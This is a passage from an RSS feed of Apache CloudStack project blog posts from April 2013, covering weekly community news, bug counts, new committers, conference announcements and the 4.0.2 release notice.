at the South San Francisco Conference Center on 15 May.</li><li><b><a href="http://cloudstackcollab.net/" target="_blank" rel="nofollow" class="external-link">CloudStack Collaboration Conference 2013</a></b> is being held from 23 June to 25 June in Santa Clara, CA at the Santa Clara Convention Center. See the <a href="http://cloudstackcollab.net/CfP/" target="_blank" rel="nofollow" class="external-link">Call for Proposals</a> if you're interested in speaking!</li><li><b><a href="https://www.ch-open.ch/events/aktuelle-events/open-cloud-day-2013/" target="_blank" rel="nofollow" class="external-link">Open Cloud Day </a></b> in Zurich, June 11th. Sebastien Goasguen will talk about the Apache Cloud ecosystem</li><li><b><a href="http://www.bjug.ro" target="_blank" rel="nofollow" class="external-link">Bucarest JUG</a></b> May 30th, Sebastien Goasguen will talk about CloudStack and Big Data. Announcement yet to be posted</li><li><b><a href="http://www.linuxtag.org/2013/de/program/mittwoch-22-mai-2013.html" target="_blank" rel="nofollow" class="external-link">Linux Tag</a></b> Berlin, May 22-25, Sebastien Goasguen will talk about CloudStack and Big Data. There will also be a CloudStack booth at the expo.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-29April2013-Jira"></a>Jira</h3><p>Checking in on the upcoming 4.2.0 release, we have added a few bugs over the past week:</p><ul><li>Last week we had 5 blocker bugs for 4.2.0. This week, we have 11 <a href="http://is.gd/blocker_acs420" target="_blank" rel="nofollow" class="external-link">blocker bugs for 4.2.0</a>.</li><li>Last week we had 34 critical bugs for 4.2.0. This week, we have 40 <a href="http://is.gd/critical_acs420" target="_blank" rel="nofollow" class="external-link">critical bugs for 4.2.0</a>.</li><li>Last week we had 263 major bugs for 4.2.0. This week, we have 273 <a href="http://is.gd/major_acs420" target="_blank" rel="nofollow" class="external-link">major bugs for 4.2.0</a>.</li><li>Last week we had 35 minor bugs for 4.2.0. This week we have 37 <a href="http://is.gd/minor_acs420" target="_blank" rel="nofollow" class="external-link">minor bugs for 4.2.0</a>.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-29April2013-NewCommittersandPMCMembers"></a>New Committers and PMC Members</h3><p>No new committers or PMC members announced this week.</p><h3><a name="ApacheCloudStackWeeklyNews-29April2013-ContributingtotheWeeklyNews"></a>Contributing to the Weekly News</h3><p>Want to keep reading the CloudStack Weekly News? Many hands make light work, but having only one editor means getting the weekly news out every week is a "best effort" activity. A healthy community publication needs several contributors to ensure weekly issues go out on time.</p><p>If you have an event, discussion, or other item to contribute to the <em>Weekly News</em>, you can add it directly to the <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/CloudStack+Weekly+News" target="_blank" rel="nofollow" class="external-link">wiki</a> by editing the issue you want your item to appear in. (The next week's issue is created before the current issue is published - so at any time there should be at least one issue ready to edit.) </p><p>Alternatively, you can send a note to the marketing@cloudstack.apache.org mailing list with a subject including <a href="" title="News">News</a>: <em>description of topic</em> or email the newsletter editor directly (jzb at apache.org), again with the subject <a href="" title="News">News</a>: <em>description of topic</em>. <b>Please include a link to the discussion in the mailing list archive or Web page with details of the event, etc.</b> </p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack 2013 Collaboration Conference Call for Proposals]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_2013_collaboration_conference</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_2013_collaboration_conference</guid>
            <pubDate>Mon, 29 Apr 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[We&#8217;re pleased to announce that the Call for Proposals (CfP) for the second CloudStack Collaboration Conference is now open! The conference is being held in Santa Clara, CA from Sunday June 23 through Tuesday June 25.]]></description>
            <content:encoded><![CDATA[<p><a href="/img/imported/ab378739-3c34-48ea-9495-2c49e23e58d6"><img loading="lazy" src="/img/imported/ab378739-3c34-48ea-9495-2c49e23e58d6?t=true" alt="square-cloudmonkey.png" align="left" vspace="5" hspace="5" class="img_ev3q"></a>We’re pleased to announce that the <a href="http://cloudstackcollab.org/CfP/" target="_blank" rel="noopener noreferrer">Call for Proposals</a> (CfP) for the second CloudStack Collaboration Conference is now open! The conference is being held in Santa Clara, CA from Sunday June 23 through Tuesday June 25.</p><p>The Collaboration Conference will feature tracks for users, developers, and integrators of Apache CloudStack. We’re looking for presentations that provide insight into best practices in deploying and developing Apache CloudStack. </p><p>This will be an outstanding opportunity for developers to collaborate, exchange ideas, and get work done face-to-face with other Apache CloudStack contributors to improve Apache CloudStack.</p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="proposals">Proposals<a href="#proposals" class="hash-link" aria-label="Direct link to Proposals" title="Direct link to Proposals">​</a></h2><p>The program committee will be looking for presentations and workshops related to working with and developing Apache CloudStack. This includes everything from running CloudStack at scale, best practices for working with IaaS clouds, discussions about CloudStack’s architecture, proposals for feature development, and more. We’re also open to talks that go hand-in-hand with managing Apache CloudStack, like configuration management and monitoring tools. </p><p>In short, if it’s relevant to Apache CloudStack development, deployment, and integration, we’re interested in what you might have to say. For an example of what we’re looking for, check out some of the <a href="http://is.gd/CCC12vids" target="_blank" rel="noopener noreferrer">videos from last year’s event</a>.</p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="timelineanddeadlines">Timeline and Deadlines<a href="#timelineanddeadlines" class="hash-link" aria-label="Direct link to Timeline and Deadlines" title="Direct link to Timeline and Deadlines">​</a></h2><p>There’s no time like the present to submit a proposal. We recommend getting your proposal in early, and feel free to ask questions about talk ideas on marketing@cloudstack.apache.org if you want tips for success! You can reach the CfP committee at planning@cloudstackcollab.org.</p><p>Dates for proposals are as follows:</p><ul><li>Call for Proposals is open on April 22nd.</li><li>Call for Proposals closes on May 11th.</li><li>Notifications will go out on May 17th.</li><li>Confirmations will be due by May 22nd.</li></ul><h2 class="anchor anchorWithStickyNavbar_LWe7" id="travelsponsorships">Travel Sponsorships<a href="#travelsponsorships" class="hash-link" aria-label="Direct link to Travel Sponsorships" title="Direct link to Travel Sponsorships">​</a></h2><p>Not sure if you can afford the airfare and lodging to attend the Collaboration Conference? Please don’t let that stop you from submitting your best proposal. We may be making a number of travel sponsorships available for speakers who have useful information to share with the Apache CloudStack community.</p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="codeofconduct">Code of Conduct<a href="#codeofconduct" class="hash-link" aria-label="Direct link to Code of Conduct" title="Direct link to Code of Conduct">​</a></h2><p>The Apache CloudStack community is open to everyone. As such, we are committed to providing a friendly, safe, and welcoming environment for all - regardless of gender, sexual orientation, disability, ethnicity, or religion. We respect and encourage diversity at our conference.</p><p>By agreeing to present at the conference, you are agreeing to abide by the code of conduct. We expect all speakers and attendees to have read and understood the code of conduct, and that all presentations will meet this standard.</p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="questions">Questions?<a href="#questions" class="hash-link" aria-label="Direct link to Questions?" title="Direct link to Questions?">​</a></h2><p>If you have questions or concerns, please don’t hesitate to reach out to the conference planning committee by sending an email to planning@cloudstackcollab.org.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Announcing CloudStack Collaboration Conference 2013]]></title>
            <link>https://cloudstack.apache.org/blog/announcing_cloudstack_collaboration_conference_2013</link>
            <guid>https://cloudstack.apache.org/blog/announcing_cloudstack_collaboration_conference_2013</guid>
            <pubDate>Thu, 25 Apr 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[After a successful first run in Las Vegas, we&#8217;re bringing back the CloudStack Collaboration Conference for 2013! This time we&#8217;re gathering the community in Santa Clara, California from Sunday June 23rd through Tuesday June 25th.]]></description>
            <content:encoded><![CDATA[<p><a href="/img/imported/ab378739-3c34-48ea-9495-2c49e23e58d6"><img loading="lazy" src="/img/imported/ab378739-3c34-48ea-9495-2c49e23e58d6?t=true" alt="square-cloudmonkey.png" align="left" vspace="6" hspace="6" class="img_ev3q"></a>After a successful first run in Las Vegas, we’re bringing back the <a href="http://cloudstackcollab.net/" target="_blank" rel="noopener noreferrer">CloudStack Collaboration Conference</a> for 2013! This time we’re gathering the community in Santa Clara, California from Sunday June 23rd through Tuesday June 25th.</p><p>There’s a lot going on in the Apache CloudStack community, and you won’t want to miss the opportunity to catch up with the developers that are moving CloudStack forward, users who have successfully built production clouds, and integrators who are helping build a healthy ecosystem around the open foundation of Apache CloudStack. The conference is your opportunity to exchange ideas, discuss plans for Apache CloudStack, learn how others are using it, and to participate in workshops and sprints about CloudStack. </p><p>We will, of course, be having some quality fun time help the community get to know one another and offset all the hard work we’ve been doing to move the Apache CloudStack project to a top-level project and get the 4.1.0 release close to shipping. </p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="importantdates">Important Dates<a href="#importantdates" class="hash-link" aria-label="Direct link to Important Dates" title="Direct link to Important Dates">​</a></h2><p>The Call for Papers begins on April 22nd! You can submit your <a href="http://cloudstackcollab.net/CfP/" target="_blank" rel="noopener noreferrer">proposal at CloudStackCollab.net</a>. </p><ul><li>The Call for Proposals <strong>ends on May 11th</strong>.</li><li>Notifications go out on <strong>May 17th</strong>.</li><li>Confirmations will be due by <strong>May 22nd</strong>.</li><li>Schedule will be announced on <strong>May 25th</strong>.</li></ul><p>Note that we have a limited number of speaking slots for this event, and we’ve had overwhelming response to our previous CfP. <strong>It’s highly unlikely the CfP will be extended, so submit today!</strong></p><ul><li>The Conference Hack Day will be on <strong>June 23rd</strong>.</li><li>The Conference talks and planned sessions begin on <strong>June 24</strong>.</li><li>The Conference ends on <strong>June 25th</strong>.</li></ul><h2 class="anchor anchorWithStickyNavbar_LWe7" id="locationandpricing">Location and Pricing<a href="#locationandpricing" class="hash-link" aria-label="Direct link to Location and Pricing" title="Direct link to Location and Pricing">​</a></h2><p>The CloudStack Collaboration Conference 2013 will be at the Santa Clara Convention Center, less than 5 minutes away from the San Jose International Airport (SJC). </p><p>Early-bird registration will be $97 if you register before May 24th. The general registration after May 24th will increase to $149, so <strong>register today</strong>. </p><p>We encourage attendees to stay at the Hyatt Regency Santa Clara to participate in after-hours events with the Apache CloudStack community. <a href="http://cloudstackcollab.org/register/" target="_blank" rel="noopener noreferrer">Book your room today</a> to take advantage of the CloudStack Collaboration Conference 2013 special rate of $199.00 per night. There are a limited number of rooms available at this rate, so <a href="http://cloudstackcollab.org/register/" target="_blank" rel="noopener noreferrer">book early</a>!</p><p>See the <a href="http://cloudstackcollab.net/register/" target="_blank" rel="noopener noreferrer">registration page</a> for more information. </p><p>Sponsoring</p><p>Sponsorship opportunities are available for the CloudStack Collaboration Conference. If you’d like to see the sponsorship prospectus or ask about sponsoring, contact <a href="mailto:sponsor-ccc13@theopenbastion.com" target="_blank" rel="noopener noreferrer">Nancy Asche</a> for more information.</p><p>See you in California! </p><p>We’re excited about getting the CloudStack community together again, and we hope you’ll join us! Don’t miss out, <a href="http://cloudstackcollab.net/register/" target="_blank" rel="noopener noreferrer">register today</a>!</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack 4.0.2 Released]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_4_0_2</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_4_0_2</guid>
            <pubDate>Wed, 24 Apr 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack project is pleased to announce the 4.0.2 release]]></description>
            <content:encoded><![CDATA[<p>The Apache CloudStack project is pleased to announce the 4.0.2 release of the CloudStack Infrastructure-as-a-Service (IaaS) cloud orchestration platform. This is a minor release in the 4.0.0 branch, which contains fixes for 40 bugs. </p><p>Apache CloudStack is an integrated software platform that allows users to build a feature-rich IaaS. CloudStack includes an intuitive user interface and rich API for managing the compute, networking, accounting, and storage for private, hybrid, or public clouds. The project entered the Apache Incubator in April 2012, and graduated in March 2013.</p><p>The 4.0.2 release includes fixes for a number of issues, including two minor security vulnerabilities (CVE–2013–2756 and CVE–2013–2758), problems displaying storage statistics, a fix for the SSVM HTTP proxy, support for CentOS 6.4, and other fixes.</p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="downloads">Downloads<a href="#downloads" class="hash-link" aria-label="Direct link to Downloads" title="Direct link to Downloads">​</a></h2><p>The official source code releases can be downloaded from:</p><p><a href="http://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/downloads.html</a></p><p>In addition to the official source code release, individual contributors have also made convenience binaries available on the Apache CloudStack download page.</p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="aboutapachecloudstack">About Apache CloudStack<a href="#aboutapachecloudstack" class="hash-link" aria-label="Direct link to About Apache CloudStack" title="Direct link to About Apache CloudStack">​</a></h2><p>Apache CloudStack is a complete software suite for creating Infrastructure-as-a-Service (IaaS) clouds. Target environments include service providers and enterprises. It is used by many service providers to set up an on-demand, elastic cloud computing services and by enterprises to set up a private cloud for use by their own employees. Apache CloudStack is also available to individuals and organizations that wish to study and implement an IaaS for personal, educational, and/or production use.</p><p>Further information on Apache CloudStack can be found at<a href="http://cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">cloudstack.apache.org</a>.</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack Weekly News - 22 April 2013]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_22</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_22</guid>
            <pubDate>Tue, 23 Apr 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[This time around, we have two release VOTEs in progress, which means that 4.1.0 is just about out the door. The CloudStack Collaboration Conference 2013 has been announced for June 23rd through 25th. You'll also want to check in on the discussions about the length of the release cycle, Chip Childers and David Nalley appearing on FLOSS Weekly, and much more.]]></description>
            <content:encoded><![CDATA[<p><a href="/img/imported/ab378739-3c34-48ea-9495-2c49e23e58d6"><img loading="lazy" src="/img/imported/ab378739-3c34-48ea-9495-2c49e23e58d6?t=true" alt="square-cloudmonkey.png" align="left" hspace="5" vspace="5" class="img_ev3q"></a>This time around, we have two release VOTEs in progress, which means that 4.1.0 is just about out the door. The CloudStack Collaboration Conference 2013 <a href="http://markmail.org/message/uqj2nazm6dcpg7h7" target="_blank" rel="nofollow" class="external-link">has been announced for June 23rd through 25th</a>. You'll also want to check in on the discussions about the length of the release cycle, Chip Childers and David Nalley appearing on FLOSS Weekly, and much more. </p><p>A lot has happened since the last issue of the CloudStack Weekly News, and not just because the community's been busy - we missed getting last week's issue out. Sorry about that! If you'd like to see consistent weekly delivery, check the end of the newsletter to see how you can help.</p><h3><a name="ApacheCloudStackWeeklyNews-22April2013-MajorDiscussions"></a>Major Discussions</h3><p>In this section, we summarize some of the more interesting discussions taking place in the CloudStack community. While we try to pull out the discussions that are "don't miss" discussions to anyone who's involved in using or contributing to CloudStack, it's a really good idea to <a href="http://cloudstack.apache.org/mailing-lists.html" target="_blank" rel="nofollow" class="external-link">make sure you're subscribed</a> to the mailing lists and follow along. </p><h5><a name="ApacheCloudStackWeeklyNews-22April2013-ReleaseSchedule"></a>Release Schedule</h5><p>Animesh Chaturvedi <a href="http://markmail.org/message/6suq2fhltdvgvcxd" target="_blank" rel="nofollow" class="external-link">started a discussion last week</a> about the release schedule for 4.2.0, trying to nail down the specific dates for feature freeze, docs freeze, etc. That was <a href="http://markmail.org/message/cp23tewephjuxv7f" target="_blank" rel="nofollow" class="external-link">accompanied by a question of whether we should consider a six-month cycle</a>. Ultimately, no resolution was reached on the schedule. </p><p>Animesh has <a href="http://markmail.org/message/3ctdwor5hfbpa3vx" target="_blank" rel="nofollow" class="external-link">started a new thread to discuss the release cycle</a>.</p><h5><a name="ApacheCloudStackWeeklyNews-22April2013-EasierSimpleInstalls"></a>Easier Simple Installs</h5><p>David has <a href="http://markmail.org/message/zvo3t26zjvedblah" target="_blank" rel="nofollow" class="external-link">started a conversation on dev@ about the ease, or lack thereof, of installing CloudStack</a>. David says, "what I want to do is get rid of sections 2-4 of the quick install guide, and replace it with - 'run this one or two lines worth of commands' (<a href="http://s.apache.org/runbook" target="_blank" rel="nofollow" class="external-link">http://s.apache.org/runbook</a>)." David describes what he'd like to see: </p><blockquote><p>The all-in-one installation process I'd like to see:</p><p>Install your host OS Install an meta-RPM/Deb that either (installs everything, or alternatively configures a repo - or just installs the repo and the stuff I need to install with) Run a command that activates one of these config tools - configures the machine, installs the packages I need, and gets me to the point where I'm ready to login and go through the beautiful new user gui setup stuff. </p></blockquote><p>No further comments on this so far. </p><h5><a name="ApacheCloudStackWeeklyNews-22April2013-DevelopingaStorageBackupObjectStorePluginFramework"></a>Developing a Storage Backup Object Store Plugin Framework</h5><p>Min Chin <a href="http://markmail.org/message/cspb6xweeupfvpit" target="_blank" rel="nofollow" class="external-link">has proposed a storage backup object store plugin framework</a> that would "allow CloudStack to systematically manage and configure various types of backup data stores from different vendors, like NFS, S3, Swift, etc." Specifically, Min says:</p><blockquote><p>With this new plugin framework, we would like to achieve following functionalities: </p><p>1. Support different object store providers in a uniform and pluggable fashion. <br>2. Enable region wide object backup using S3-like object store. <br>3. Provide pluggable data motion strategies to handle data transfer from one data store to another data store. <br>4. Provide a scalable cache storage framework while moving data between primary storage and backup storage for certain hypervisor needs.  <br>5. Support flexible combinations of primary storage, secondary storage and hypervisors, such as (NFS, NFS, Xen), (NF3, S3, Vmware), (ISCSI, Swift, KVM), ..., etc.</p></blockquote><p>The FS is <a href="https://cwiki.apache.org/CLOUDSTACK/storage-backup-object-store-plugin-framework.html" target="_blank" rel="nofollow" class="external-link">on the wiki</a>, and Min says in a follow-up that there's a plan to "provide a sample plugin implementation" for the work.</p><p>With regards to compatibility concerns, Edison Su <a href="http://markmail.org/message/sstnaimx62mnyles" target="_blank" rel="nofollow" class="external-link">responds</a> that existing APIs "can still be wired to new code" so that they continue to work, but "we can mark them as deprecated in the API document." Edison also notes that it can co-exist with the existing deployments and upgrades from pre-4.2.0 versions to 4.2.0 if the feature is accepted.</p><h5><a name="ApacheCloudStackWeeklyNews-22April2013-VOTEsfor4.1.0and4.0.2"></a>VOTEs for 4.1.0 and 4.0.2</h5><p>After a couple of false starts, it looks like the third time is the charm for the 4.0.2 release. Joe Brockmeier <a href="http://markmail.org/message/nfe2lyxj4mjsmxdb" target="_blank" rel="nofollow" class="external-link">started the third voting round on Saturday 20 April</a>, and it has quite a few +1 (binding) votes so far. Unless -1'ed by Tuesday morning, it will be ready for release. </p><p>Chip has also <a href="http://markmail.org/thread/vfcje3fs5ilvm47c" target="_blank" rel="nofollow" class="external-link">started the first vote</a> for 4.1.0, which will be open for 72 hours - assuming no show-stopping defects are found, and it garners at least 3 +1 PMC votes. Note that <b>everyone</b> in the CloudStack community is encouraged to test out the release candidate and cast a vote, regardless of whether the vote is "binding" or not. More testing is always better, and an informed -1 from a non-PMC member isn't going to be ignored when deciding whether to release or not. </p><h5><a name="ApacheCloudStackWeeklyNews-22April2013-DomainAdminLimitations"></a>Domain Admin Limitations</h5><p>Pranav Saxena has <a href="http://markmail.org/message/ucxsapyannat2z6b" target="_blank" rel="nofollow" class="external-link">raised a discussion about the limitations for DOMAIN admins</a>, and wonders "why hasn't the domain -admin been given the privilege of creating sub-child domains himself? Are there any concerns/threats because of which the current architecture doesn't serve this purpose?" Alena Prokharchyk responds that there <a href="http://markmail.org/message/nyzosjot2ov5lb7m" target="_blank" rel="nofollow" class="external-link">may be a feature request matching Pranav's concerns</a> and suggests checking its status. This might be a good feature/improvement to see in 4.2.0 if there's not already work afoot.</p><h3><a name="ApacheCloudStackWeeklyNews-22April2013-CloudStackPlanetPostsfromtheCloudStackCommunity"></a>CloudStack Planet - Posts from the CloudStack Community</h3><ul><li><b><a href="http://www.chipchilders.com/blog/2013/4/10/floss-weekly-interview-on-apache-cloudstack.html" target="_blank" rel="nofollow" class="external-link">FLOSS Weekly Interview on Apache CloudStack</a></b>: Chip and David appeared on FLOSS Weekly on April 10th. If you missed the live show, be sure to checkout the <a href="http://twit.tv/show/floss-weekly/247" target="_blank" rel="nofollow" class="external-link">video</a>.</li></ul><ul><li><b><a href="http://www.youtube.com/watch?v=vvgIkF1e1QE" target="_blank" rel="nofollow" class="external-link">4.0.2 Testing Procedure</a></b>: Sebastien Goasguen has <a href="http://www.youtube.com/watch?v=vvgIkF1e1QE" target="_blank" rel="nofollow" class="external-link">put together a screencast</a> for testing the 4.0.2 release that also might be worth looking over for folks interested in testing any CloudStack release.</li></ul><ul><li><b><a href="http://buildacloud.org/blog/254-google-summer-of-code-2013-with-cloudstack.html" target="_blank" rel="nofollow" class="external-link">Google Summer of Code with CloudStack</a></b>: Sebastien has also <a href="http://buildacloud.org/blog/254-google-summer-of-code-2013-with-cloudstack.html" target="_blank" rel="nofollow" class="external-link">put together a slide show</a> about contributing to the Google Summer of Code (GSoC) with CloudStack.</li></ul><ul><li><b><a href="http://www.cupfighter.net/index.php/2013/04/knife-cloudstack-plugin-0-0-14-has-been-released-but-what-does-this-mean/" target="_blank" rel="nofollow" class="external-link">Knife CloudStack plugin 0.0.14 has been released</a></b>: Sander Botman writes about the latest release of the CloudStack plugin. David has also <a href="http://buildacloud.org/blog/252-a-new-version-of-the-knife-cloudstack-plugin-appears.html" target="_blank" rel="nofollow" class="external-link">written about the new knife-cloudstack plugin</a>.</li></ul><ul><li><b><a href="http://buildacloud.org/blog/253-to-rest-or-not-to-rest.html" target="_blank" rel="nofollow" class="external-link">To REST or not to REST</a></b>: Sebastien tackles the question, "is the CloudStack API RESTful?" The short answer is "<a href="http://buildacloud.org/blog/253-to-rest-or-not-to-rest.html" target="_blank" rel="nofollow" class="external-link">the CloudStack API is RESTlike but not RESTful</a> since it is only based on the GET method. Being an http based API that can return JSON does not make it a RESTfull API. This should not be seen as negative criticism but just a clarification." Read the rest for the full scoop.</li></ul><ul><li><b><a href="http://blog.widodh.nl/2013/04/cloudstack-zone-x-is-is-not-ready-to-launch-console-proxy-yet/" target="_blank" rel="nofollow" class="external-link">Zone X is Not Ready to Launch Console Proxy Yet</a></b>: Wido den Hollander writes about an odd error that he troubleshot to find an unlikely culprit.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-22April2013-UpcomingEvents"></a>Upcoming Events</h3><ul><li><b><a href="http://linuxfestnorthwest.org/" target="_blank" rel="nofollow" class="external-link">LinuxFest Northwest</a></b> is being held in Bellingham, Washington from 27 April to 28 April.<ul><li>Mark Hinkle is presenting the <a href="http://linuxfestnorthwest.org/content/hitchikers-guide-open-source-cloud-computing" target="_blank" rel="nofollow" class="external-link">Hitchhiker's Guide to Open Source Cloud Computing</a> on Saturday 27 April at 11:00.</li><li>David Nalley is presenting <a href="http://linuxfestnorthwest.org/content/building-iaas-clouds-apache-cloudstack" target="_blank" rel="nofollow" class="external-link">Building IaaS Clouds with Apache CloudStack</a> on Saturday 27 April at 1:30.</li></ul></li><li><b>Storage in Apache CloudStack</b> being held by the <a href="http://www.meetup.com/CloudStack-SF-Bay-Area-Users-Group/events/108916562/" target="_blank" rel="nofollow" class="external-link">CloudStack SF Bay Area Users Group</a> on April 30, 2013 @ Citrix Conference Center, sign up on the Meetup.com Website.</li><li><b><a href="http://buildacloud.org/about-diy-cloud-computing/cloud-events/viewevent/148-build-a-cloud-day-cloudcon-san-francisco-ca.html" target="_blank" rel="nofollow" class="external-link">Build a Cloud Day CloudCon San Francisco</a></b> being held at the South San Francisco Conference Center on 15 May.</li><li><b><a href="http://cloudstackcollab.net/" target="_blank" rel="nofollow" class="external-link">CloudStack Collaboration Conference 2013</a></b> is being held from 23 June to 25 June in Santa Clara, CA at the Santa Clara Convention Center. See the <a href="http://cloudstackcollab.net/CfP/" target="_blank" rel="nofollow" class="external-link">Call for Proposals</a> if you're interested in speaking!</li></ul><p>If you want to check in on events related to Apache CloudStack, see the <a href="http://lanyrd.com/topics/apache-cloudstack/" target="_blank" rel="nofollow" class="external-link">Lanyard Page for the Apache CloudStack topic</a>. </p><h3><a name="ApacheCloudStackWeeklyNews-22April2013-Jira"></a>Jira</h3><p>With the 4.0.2 and 4.1.0 VOTES in process, it's time to start looking at bugs against <a href="https://issues.apache.org/jira/browse/CLOUDSTACK/fixforversion/12324122" target="_blank" rel="nofollow" class="external-link">4.1.1</a> and <a href="https://issues.apache.org/jira/browse/CLOUDSTACK/fixforversion/12323906" target="_blank" rel="nofollow" class="external-link">4.2.0</a>.</p><p>At the moment, bugs against 4.1.0 haven't been re-assigned to 4.1.1. This means that the bug counts for 4.1.1 are much lower than they should be. Taking into account the actual number of bugs, we're looking at one blocker bug, two critical bugs, 114 major bugs, and 25 minor.</p><p>For 4.2.0, we have:</p><ul><li>5 <a href="http://is.gd/blocker_acs420" target="_blank" rel="nofollow" class="external-link">blocker bugs for 4.2.0</a>.</li><li>34 <a href="http://is.gd/critical_acs420" target="_blank" rel="nofollow" class="external-link">critical bugs for 4.2.0</a>.</li><li>263 <a href="http://is.gd/major_acs420" target="_blank" rel="nofollow" class="external-link">major bugs for 4.2.0</a>.</li><li>35 <a href="http://is.gd/minor_acs420" target="_blank" rel="nofollow" class="external-link">minor bugs for 4.2.0</a>.</li></ul><h3><a name="ApacheCloudStackWeeklyNews-22April2013-NewCommittersandPMCMembers"></a>New Committers and PMC Members</h3><ul><li>Bruno Demion was invited to become a committer and <a href="http://markmail.org/search/list:org.apache.incubator.cloudstack-dev+New+Committer:+Bruno+Demion+%28a.k.a+milamber%29" target="_blank" rel="nofollow" class="external-link">has accepted</a>.</li></ul><ul><li>Go Chiba was invited to become a committer and <a href="http://markmail.org/message/5yn6fbeim33bm7d3" target="_blank" rel="nofollow" class="external-link">has accepted</a>.</li></ul><ul><li>Prasanna Santhanam was invited to become a PMC member and <a href="http://markmail.org/message/iifnhhkfext3gbve" target="_blank" rel="nofollow" class="external-link">has accepted</a>.</li></ul><p>Please join us in congratulating all of the new committers and PMC members!</p><h3><a name="ApacheCloudStackWeeklyNews-22April2013-ContributingtotheWeeklyNews"></a>Contributing to the Weekly News</h3><p>Want to keep reading the CloudStack Weekly News? Many hands make light work, but having only one editor means getting the weekly news out every week is a "best effort" activity. A healthy community publication needs several contributors to ensure weekly issues go out on time.</p><p>If you have an event, discussion, or other item to contribute to the <em>Weekly News</em>, you can add it directly to the <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/CloudStack+Weekly+News" target="_blank" rel="nofollow" class="external-link">wiki</a> by editing the issue you want your item to appear in. (The next week's issue is created before the current issue is published - so at any time there should be at least one issue ready to edit.) </p><p>Alternatively, you can send a note to the marketing@cloudstack.apache.org mailing list with a subject including <a href="" title="News">News</a>: <em>description of topic</em> or email the newsletter editor directly (jzb at apache.org), again with the subject <a href="" title="News">News</a>: <em>description of topic</em>. <b>Please include a link to the discussion in the mailing list archive or Web page with details of the event, etc.</b> </p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack Weekly News - 8 April 2013]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_8</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_weekly_news_8</guid>
            <pubDate>Tue, 09 Apr 2013 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack community has been heads-down for the last week working out the remaining bugs for the 4.1.0 release. Chatter on the dev@ mailing list has been a little muted, comparatively, but there's still plenty of interest in this week's roundup of major discussions and CloudStack community activity.]]></description>
            <content:encoded><![CDATA[<p>The Apache CloudStack community has been heads-down for the last week working out the remaining bugs for the 4.1.0 release. Chatter on the dev@ mailing list has been a little muted, comparatively, but there's still plenty of interest in this week's roundup of major discussions and CloudStack community activity.</p><p>This week, we look at the outstanding issues for 4.1.0, a discussion about allowing multiple API names for the same API Cmd object, how to deal with tests that expect no database, and how ticket assignment should work. </p><h3><a name="ApacheCloudStackWeeklyNews-8April2013-MajorDiscussions"></a>Major Discussions</h3><h5><a name="ApacheCloudStackWeeklyNews-8April2013-OutstandingWorkforthe4.1.0Release"></a>Outstanding Work for the 4.1.0 Release</h5><p>4.1.0 is getting close, but we're not quite there yet. Chip Childers sent out a <a href="http://markmail.org/thread/7igfqlwj3ornbwq7" target="_blank" rel="nofollow" class="external-link">list of outstanding work</a> required for 4.1.0. Several of the issues are already in progress, but Chip also pointed out <a href="https://issues.apache.org/jira/browse/CLOUDSTACK-1941" target="_blank" rel="nofollow" class="external-link">CLOUDSTACK-1941: Cannot delete users in the default admin account within the UI</a> as unassigned. This is a critical issue that will need to be addressed before an RC or release can be cut.</p><h5><a name="ApacheCloudStackWeeklyNews-8April2013-APINameAlias"></a>API Name Alias</h5><p>Kishan Kavala has raised a discussion <a href="http://markmail.org/message/5j6qhtyw53vxbnal" target="_blank" rel="nofollow" class="external-link">about an API name alias</a>. Kishan has a plan to enhance the name parameter "to support comma separated values. This will allow multiple API names for the same API Cmd object." John Burwell <a href="http://markmail.org/message/zz5inlth3jtrpjok" target="_blank" rel="nofollow" class="external-link">recommended</a> using an array rather than a comma separated value, but there's been some discussion as to whether that's the best arrangement for the current code.</p><p>So far, the discussion has not come to a resolution. Folks who have an understanding of the impact or wish to comment on the feature should jump into the discussion on dev@.</p><h5><a name="ApacheCloudStackWeeklyNews-8April2013-DatabaseTestsandHittingMaster"></a>Database Tests and Hitting Master</h5><p>While the project works on finalizing 4.1.0, work continues on 4.2.0 and later releases in the master branch. This week there was another breakage in master, <a href="http://markmail.org/thread/sqxci3hswfmrionn" target="_blank" rel="nofollow" class="external-link">and a discussion following about database access during tests</a>. One proposal was to disable the database before running tests, but this has been challenged as being overly complicated for developers who may be running CloudStack on their test machines and find it inconvenient to disable the db when running tests.</p><h5><a name="ApacheCloudStackWeeklyNews-8April2013-PreparingtheBoardReport"></a>Preparing the Board Report</h5><p>As an Incubating project, Apache CloudStack prepared a board report every three months, which would be reviewed by the IPMC and (if approved) sent up to the board as part of the Apache Incubator report.</p><p>Now that Apache CloudStack is a top-level project (TLP), it prepares its own report for the board. Chip Childers <a 